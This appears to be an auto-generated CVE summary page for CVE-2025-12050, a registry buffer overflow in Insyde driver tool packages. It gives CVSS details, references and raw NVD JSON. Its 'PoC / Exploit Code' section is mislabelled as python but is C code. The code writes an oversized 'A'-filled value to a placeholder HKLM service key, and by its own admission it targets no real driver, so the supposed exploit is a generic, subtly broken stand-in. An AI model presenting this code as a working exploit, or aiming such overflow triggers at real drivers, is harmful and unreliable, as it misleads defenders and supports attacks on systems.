CVE-2025-12050

Description

The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Insyde Security Pledge SA-2025010 affected drivers (all versions prior to patch)

Windows tool package drivers using RTL_QUERY_REGISTRY_DIRECT

相关固件驱动 < 2025-01-14 安全更新版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-12050 PoC - Registry Buffer Overflow Trigger
// This PoC demonstrates the concept of triggering a buffer overflow
// through malicious registry values read by drivers using RTL_QUERY_REGISTRY_DIRECT

#include <windows.h>
#include <stdio.h>

#define MALICIOUS_REG_PATH "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver"

int main() {
    HKEY hKey;
    DWORD dwDisposition;
    
    printf("[*] CVE-2025-12050 Registry Buffer Overflow PoC\n");
    printf("[*] Target: Driver using RTL_QUERY_REGISTRY_DIRECT\n\n");
    
    // Create or open the target registry key
    LONG lResult = RegCreateKeyExA(
        HKEY_LOCAL_MACHINE,
        MALICIOUS_REG_PATH,
        0,
        NULL,
        REG_OPTION_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        &dwDisposition
    );
    
    if (lResult != ERROR_SUCCESS) {
        printf("[-] Failed to create registry key. Error: %d\n", lResult);
        return 1;
    }
    
    printf("[+] Registry key created/opened successfully\n");
    
    // Create a malicious value with oversized data
    // This simulates the overflow condition that the driver will trigger
    char maliciousData[4096];
    memset(maliciousData, 0x41, sizeof(maliciousData)); // Fill with 'A'
    
    lResult = RegSetValueExA(
        hKey,
        "MaliciousValue",
        0,
        REG_BINARY,
        (LPBYTE)maliciousData,
        sizeof(maliciousData)
    );
    
    if (lResult == ERROR_SUCCESS) {
        printf("[+] Malicious registry value written successfully\n");
        printf("[+] Value size: %d bytes\n", sizeof(maliciousData));
        printf("[*] When driver reads this value via RTL_QUERY_REGISTRY_DIRECT,\n");
        printf("[*] it may trigger buffer overflow if buffer is smaller\n");
    }
    
    RegCloseKey(hKey);
    
    printf("\n[*] Note: This PoC creates the registry conditions but actual\n");
    printf("[*] exploitation requires specific driver with vulnerable code.\n");
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12050
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12050
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12050/
[4] VulDB https://vuldb.com/cve/CVE-2025-12050
[5] https://www.insyde.com/security-pledge/sa-2025010/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12050", "sourceIdentifier": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "published": "2026-01-14T01:15:49.743", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow."}, {"lang": "es", "value": "Los controladores en los paquetes de herramientas usan el indicador RTL_QUERY_REGISTRY_DIRECT para leer un valor de registro al cual una aplicación en modo de usuario no confiable podría ser capaz de causar un desbordamiento de búfer."}], "metrics": {"cvssMetricV31": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.insyde.com/security-pledge/sa-2025010/", "source": "8338d8cb-57f7-4252-abc0-96fd13e98d21"}]}}